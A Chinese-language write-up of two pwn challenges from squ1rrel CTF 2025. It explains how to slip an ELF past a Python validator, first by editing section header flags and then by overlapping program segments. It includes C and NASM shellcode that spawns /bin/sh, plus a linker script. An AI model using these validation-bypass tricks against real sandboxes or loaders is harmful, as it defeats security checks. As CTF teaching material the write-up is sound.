squ1rrel CTF 2025 writeup

写了两道 PWN 的题,记录一下。

Extremely Lame Filters 1

题目给了两个文件 fairy.pyelf.pyelf.py就是一个 elf 文件解析器,fairy.py是主程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))
elf = parse(data)

for section in elf.sections:
if section.sh_flags & SectionFlags.EXECINSTR:
raise ValidationException("!!")

elf.run()

可以看出它通过输入获得一个 base64 编码的字符串,解码成一个 elf 文件,检验其是否存在可执行的 section,若不存在则执行它。

这里涉及一个 elf 文件结构方面的知识:section 和 segment 是并列的,加载器加载 elf 时不会关注 section 的相关信息。即使使用 strip --strip-section-headers 命令将 section 相关的信息全删了,程序仍然可以正常运行。

因此这题直接用十六进制编辑器手动更改 elf 文件的 section 信息。写一个类似下面的程序,编译成 elf,对照 elf 结构,将 section header 里表示可执行权限的 06 全改成 02 就行了。

1
2
3
4
5
#include <stdlib.h>
int main()
{
system("/bin/sh");
}

Extremely Lame Filters 2

前一道题的升级版。这题的 fairy.py 的逻辑变为了:仅当程序内不存在内容非零的可执行 segment 时,才会运行此程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)

if elf.header.e_type != constants.ET_EXEC:
print("!!")
exit(1)

for segment in elf.segments:
if segment.p_flags & SegmentFlags.X:
content = elf.content(segment)
for byte in content:
if byte != 0:
print(">:(")
exit(1)

elf.run()

和前一题检测的 section 不同,加载器在加载 elf 时会根据 segment 信息设置内存权限,如果机器码所在的内存没有可执行权限的话,会报错段错误。因此这题不能像前一题那样直接更改权限。

一个可行的,也是我所使用的思路是段重叠,即在 elf 内构建多个 segment,其中机器码所在的段没有可执行权限,且在 program header 表中先出现;另有一全空白的可执行段,在 program header 表中后出现。两段的虚拟地址相同,非可执行段中机器码入口在段内第 n 个字节处,同时空白段的大小也为 n(n!=0)。段的大小非零,段权限才能成功覆盖已存在的段。

这样一来,在程序加载时,加载器便会帮我们复制机器码,并设置好可执行权限,使得程序可以正常运行。同时满足 fairy.py 中的检测逻辑。

考虑 gcc 默认生成的文件段信息有点复杂,我选择写汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
BITS 64

section .text
global _start
times 0x10 db 0
_start:
sub rsp, 8
mov byte [rsp], 0x2f
mov byte [rsp+1], 0x62
mov byte [rsp+2], 0x69
mov byte [rsp+3], 0x6e
mov byte [rsp+4], 0x2f
mov byte [rsp+5], 0x73
mov byte [rsp+6], 0x68
mov byte [rsp+7], 0x00

xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
lea rdi, [rsp] ; rdi = pointer to "/bin/sh"
mov eax, 59 ; syscall number for execve
syscall ; execve("/bin/sh", NULL, NULL)

section .rodata
times 8 dq 0

并单独编写了链接器脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ENTRY(_start)

SECTIONS
{
. = 0x400000;

.text 0x400000 : {
*(.text)
}

.text_exe 0x400000 : {
. = . + 0x1000;
}

.rodata 0x402000 : {
*(.rodata)
}
}

对于生成的可执行文件,依旧使用十六进制编辑器完成剩余的修改:去掉 .text 的可执行权限,为 .text_exe 增加可执行权限。

下面这张图大概解释了修改的内容:

wp.png

随后简单用 python base64encode 和 pwntools 将文件上传到比赛平台,就能获取到 shell 了。cat ./flag.txt即得到 flag。


写完第二题后和 c10uds 哥讨论了一下,他给出了一种更简单的办法:写一个普通的类似第一题的程序,让可执行段的前 n 个字节是 0,然后直接把可执行段的段大小设为 n。这样既可以通过 elf.py 的检测,也可以让程序被加载器正确加载并执行。

我震惊。